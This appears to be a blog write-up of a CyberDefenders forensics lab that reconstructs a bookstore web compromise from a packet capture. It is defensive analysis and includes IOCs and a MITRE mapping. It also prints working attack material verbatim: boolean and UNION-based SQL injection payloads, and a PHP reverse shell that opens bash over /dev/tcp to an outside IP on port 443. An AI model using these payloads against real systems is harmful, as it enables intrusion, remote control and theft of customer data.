NULLROUTE://blog
session_active · pcap_loaded
network_forensics / cyberdefenders

Web Investigation Lab — tracing a bookstore breach packet by packet

A full reconstruction of a web application compromise — SQL injection, database exfiltration, credential theft, and web shell deployment — done entirely from a Wireshark packet capture. No source code, no server logs. Just traffic.

Target
bookworldstore.com
Attacker IP
111.224.250.131
Origin
Shijiazhuang, CN
Vector
SQLi → Web Shell
Evidence
WebInvestigation.pcap
Tools
Wireshark · NetworkMiner
Tactics
Initial Access · Persistence · C2
Status
Compromise confirmed

00 / Scenario

An online bookstore, bookworldstore.com, got hit. We're handed a packet capture of the incident and asked to reconstruct it end to end: identify the attacker, trace the SQL injection used to breach the database, recover whatever credentials got the attacker into the admin panel, and confirm whether they planted persistent access afterward.

Recon → SQL Injection → DB Enumeration → Data Exfiltration → Hidden Admin Panel
      → Credential Guessing → Authenticated Access → Web Shell Upload → C2

01 / Q1 — Attacker's IP Address

Statistics → Conversations shows every host that talked to the victim web server (73.124.22.98). Two external IPs jump out immediately by volume: 111.224.250.131 (88,484 packets / 29 MB) and 170.40.150.126 (256 packets).

~/evidence/fig01.png
Statistics Conversations menu
Opening Statistics → Conversations to begin traffic triage
~/evidence/fig02.png
Conversation stats table
Conversation stats — 111.224.250.131 is exchanging orders of magnitude more traffic than anything else

Every SQLi and exploitation packet in this investigation traces back to this one address.

[+] Q1 ANSWER Attacker IP address
111.224.250.131

02 / Q2 — Attacker's Origin City

Running the IP through an IP2Location lookup resolves it to ASN 4134 (ChinaNet Hebei Province), geolocated to Shijiazhuang, Hebei, China — a location with no legitimate business relationship to this bookstore. That's a solid indicator this is a targeted attack, not organic traffic.

~/evidence/fig03.png
IP2Location geolocation lookup
IP2Location lookup for 111.224.250.131 — ChinaNet Hebei Province, Shijiazhuang
[+] Q2 ANSWER Origin city
Shijiazhuang

03 / Q3 — Vulnerable PHP Script

Statistics → HTTP → Requests lists every HTTP request made to bookworldstore.com. Sorted by host, the pattern is obvious: a long run of requests to /search.php, starting as normal book title searches (harry potter, Dracula, lord of the rings) and mutating into SQL syntax probes and full UNION-based injection payloads.

~/evidence/fig04.png
Statistics HTTP Requests menu
Statistics → HTTP → Requests
~/evidence/fig05.png
HTTP requests list by host
HTTP Requests by Host — escalating attack pattern against /search.php
[+] Q3 ANSWER Vulnerable script
search.php

04 / Q4 — First SQL Injection Attempt

To pin down the timeline, I isolated the attacker↔victim conversation and then searched packet strings for the earliest boolean-based SQLi probe.

ip.addr==111.224.250.131 && ip.addr==73.124.22.98
~/evidence/fig06.png
IP address filter isolating attacker traffic
Isolating attacker↔victim traffic with an ip.addr conversation filter
~/evidence/fig07.png
Find Packet string search for 1=1
Using Wireshark's Find Packet (string search) to locate the first '1=1' probe
~/evidence/fig08.png
First SQLi request in the packet list
First SQL injection request identified: GET /search.php?search=book and 1=1; -- -

Classic boolean-based confirmation: and 1=1 (always true) with a trailing comment to swallow the rest of the original query — checking the parameter is injectable before escalating.

[+] Q4 ANSWER First SQLi request URI (decoded)
/search.php?search=book and 1=1; -- -

05 / Q5 — Reading the Available Databases

Following the HTTP stream for the request using a UNION SELECT against INFORMATION_SCHEMA.SCHEMATA reveals the full request/response — including a User-Agent: sqlmap/1.8.3#stable header, confirming this stage was automated.

~/evidence/fig09.png
Follow HTTP stream showing UNION SELECT against schemata
Follow HTTP Stream — UNION-based SQLi via sqlmap, disclosing information_schema, performance_schema, sys, bookworld_db

The response discloses every database on the server. The payload leans on CONCAT + JSON_ARRAYAGG with hex-encoded delimiters — sqlmap's way of packing multi-row results through a single injectable column while dodging naive keyword filters.

[+] Q5 ANSWER Database enumeration request URI (decoded)
/search.php?search=book' UNION ALL SELECT NULL,CONCAT(0x7178766271,JSON_ARRAYAGG(CONCAT_WS(0x7a76676a636b,schema_name)),0x7176706a71) FROM INFORMATION_SCHEMA.SCHEMATA-- -

06 / Q6 — Table Containing User Data

In NetworkMiner's Files tab, filtering on search.php and scanning response sizes, one response stands out: 1,125 bytes, well above the typical ~150–300 byte error/probe response.

~/evidence/fig10.png
NetworkMiner Files tab filtered on search.php
NetworkMiner Files view — a 1,125-byte response stands out from the noise
~/evidence/fig11.png
Wireshark filter on destination port 38848
Pivoting to Wireshark with tcp.dstport==38848 to isolate that exact response

Following that stream shows a UNION-based query pulling first_name, last_name, email, phone from bookworld_db.customers — the response body contains real customer records in JSON form.

~/evidence/fig12.png
Follow stream showing customers table data
Follow TCP Stream — the exfiltrated customers table, PII visible in the response
[+] Q6 ANSWER Compromised table
customers (bookworld_db.customers)

07 / Q7 — Hidden Directory Discovered

A separate stream filtered on the string admin shows the attacker pivoting away from SQLi toward directory discovery.

~/evidence/fig13.png
TCP stream filtered for admin
TCP stream 644 filtered on 'admin' — the pivot toward directory discovery

Following the full stream: GET /admin301 Moved PermanentlyLocation: /admin/GET /admin/302 Found with a fresh PHPSESSID cookie. A non-public /admin/ directory, unlinked anywhere on the public site.

~/evidence/fig14.png
Follow stream showing admin directory redirect chain
Follow TCP Stream — GET /admin → 301 → GET /admin/ → 302, revealing the hidden admin login
[+] Q7 ANSWER Hidden directory
/admin/

08 / Q8 — Compromised Credentials

Filtering on http.request.method==POST narrowed to admin surfaces every login attempt against /admin/login.php.

~/evidence/fig15.png
Filter for POST requests to admin
Filtering for POST requests to the admin panel — multiple login attempts

Attempt 1 (failed): username=admin&password=admin"Invalid username or password."

~/evidence/fig16.png
Follow stream of failed login attempt
Follow TCP Stream — admin / admin rejected

Attempt 2 (success): the POST body uses the URL-encoded password admin123%21. Since %21 is a percent-encoded !, the raw payload has to be decoded to read the actual credential used.

~/evidence/fig17.png
Follow stream of successful login
Follow TCP Stream — 302 Found, then GET /admin/index.php → 200 OK
~/evidence/fig18.png
URL decoder tool decoding the password
URL-decoding the captured credential — admin123%21 becomes admin123!

The 302 is immediately followed by GET /admin/index.php returning 200 OK — the attacker is now authenticated as admin.

[+] Q8 ANSWER Compromised credentials
admin:admin123!

09 / Q9 — Malicious Uploaded Script

With an authenticated session in hand, the attacker abused a file upload field on /admin/index.php. Following that TCP stream shows a multipart/form-data POST with a fileToUpload field named NVri2vhp.php.

~/evidence/fig19.png
Follow stream showing web shell upload
Follow TCP Stream — multipart upload of NVri2vhp.php, containing a PHP/Bash reverse shell

The file's contents are a one-line PHP reverse shell:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/111.224.250.131/443 0>&1'");?>

It shells out to Bash and pipes stdin/stdout/stderr over a raw TCP socket back to the attacker's own IP on port 443 — riding on the standard HTTPS port to blend the outbound C2 callback in with normal encrypted traffic on firewalls that allow outbound 443 by default. Server response: "The file NVri2vhp.php has been uploaded."

[+] Q9 ANSWER Malicious uploaded script
NVri2vhp.php

This web shell hands the attacker persistent, interactive remote code execution independent of the admin session — so even after the compromised credentials are rotated, the attacker keeps a foothold until the file is located and removed and the underlying upload vulnerability is fixed.

10 / Attack Timeline

~12:07:48 UTC
Reconnaissance
Probing search.php, requests for /vulnadmin.php, .bak / .cgi / .axd variants
12:08:xx UTC
SQLi Confirmation
book and 1=1 / 1=2 boolean tests
12:08:38 UTC
DB Enumeration
UNION-based SQLi via sqlmap dumps database names
12:09:39 UTC
Data Exfiltration
UNION-based SQLi dumps bookworld_db.customers
12:12:57 UTC
Discovery
/admin → /admin/ hidden panel found
12:13:03 UTC
Credential Guessing (fail)
admin:admin rejected
12:17:34 UTC
Credential Guessing (success)
admin:admin123! accepted, session established
12:24:17 UTC
Persistence / C2
NVri2vhp.php web shell uploaded, reverse shell to 111.224.250.131:443

11 / Indicators of Compromise

TypeIndicator
Attacker IP111.224.250.131
C2 destination111.224.250.131:443
Vulnerable endpoint/search.php (search parameter)
Hidden admin panel/admin/, /admin/login.php
Upload endpoint/admin/index.php
Malicious fileNVri2vhp.php
Compromised credsadmin:admin123!
Tool signaturesqlmap/1.8.3#stable
Exfiltrated tablebookworld_db.customers

12 / MITRE ATT&CK Mapping

TacticTechniqueObserved Behavior
ReconnaissanceT1595.002Probing for backup files / injectable parameters
Initial AccessT1190SQL injection in search.php
CollectionT1213UNION-based SQLi enumerating schema + dumping customers
ExfiltrationT1041PII returned directly in the HTTP response
DiscoveryT1083/admin/ directory found
Credential AccessT1110Sequential login guesses
Initial AccessT1078Successful login with guessed creds
PersistenceT1505.003NVri2vhp.php web shell uploaded
ExecutionT1059.004/bin/bash invoked by the web shell
Command and ControlT1071.001Reverse shell over TCP/443

13 / Takeaways